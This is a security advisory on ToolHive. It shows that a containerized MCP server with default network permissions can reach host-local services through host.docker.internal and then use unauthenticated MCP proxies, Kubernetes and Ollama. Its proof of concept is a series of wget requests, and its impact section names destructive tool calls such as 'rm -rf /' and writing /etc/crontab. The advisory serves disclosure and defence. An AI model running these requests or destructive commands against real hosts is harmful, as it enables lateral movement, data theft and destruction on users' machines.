A containerized MCP server running with the default network permission profile (insecure_allow_all: true) can reach host-local services via host.docker.internal. This includes the ToolHive API itself, other ToolHive-managed MCP server proxies, and any other service listening on the host's localhost. Combined with the unauthenticated ToolHive API and MCP proxy endpoints, this enables a compromised or malicious MCP server to perform lateral movement without any container escape.
High — This bypasses the container isolation model that is ToolHive's core security value proposition.
All tests performed from inside the filesystem MCP container (docker.io/mcp/filesystem:latest), started with default settings via thv run filesystem -- /tmp.
$ docker exec <container_id> wget -qO- \
--header="Content-Type: application/json" \
--header="Accept: application/json" \
--post-data='{"jsonrpc":"2.0","method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"evil-mcp","version":"1.0"}},"id":1}' \
http://host.docker.internal:50444/mcp
Result: Full MCP handshake succeeds:
{"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2025-03-26","capabilities":{"logging":{},"tools":{}},"serverInfo":{"name":"toolhive-mcp","version":"v0.9.3"}}}
$ docker exec <container_id> wget -qO- \
--header="Content-Type: application/json" \
--header="Accept: application/json" \
--post-data='{"jsonrpc":"2.0","method":"tools/list","params":{},"id":2}' \
http://host.docker.internal:64965/mcp
Result: Returns the full tool list of the target MCP server (read_file, write_file, edit_file, move_file, etc.), and tools can be called:
{"jsonrpc":"2.0","id":3,"result":{"content":[{"text":"Allowed directories:\n/tmp","type":"text"}]}}
# Kubernetes API
$ docker exec <container_id> wget -qO- --no-check-certificate https://host.docker.internal:6443/version
{"major":"1","minor":"34","gitVersion":"v1.34.1"...}
# Ollama LLM API
$ docker exec <container_id> wget -qO- http://host.docker.internal:11434/api/tags
{"models":[{"name":"kimi-k2:1t-cloud"...}]}
Many users run native (non-containerized) MCP servers like Desktop Commander, terminal servers, or custom tools that have execute_command, write_file, or shell capabilities with full host access. These typically listen on localhost ports. A malicious containerized MCP server can:
host.docker.internal to discover listening servicesexecute_command("rm -rf /") or write_file("/etc/crontab", "..."))This achieves full host compromise without any container escape vulnerability.
Via the unauthenticated ToolHive MCP endpoint on port 50444, a compromised container could potentially:
A low-privilege MCP server (e.g., sequentialthinking with no file mounts) could reach the filesystem server's proxy and call read_file to access files it was never authorized to see.
As demonstrated, the container can reach Ollama's API and could enumerate models, run inference, or exfiltrate model weights from self-hosted LLMs.
insecure_allow_all: true as default — permits outbound connections to any destination including host.docker.internalhost.docker.internal DNS — resolves to the host machine, bypassing localhost-only binding assumptionshost.docker.internal and 172.17.0.1 (Docker gateway) in container networking by default, even when insecure_allow_all is enabled. These should require explicit opt-in.permission_profile infrastructure. Add support for explicit allow-lists rather than just the binary none/all choice.docker.io/mcp/filesystem:latest{
"cwe_ids": [
"CWE-284",
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-18T17:16:02Z",
"nvd_published_at": null,
"severity": "HIGH"
}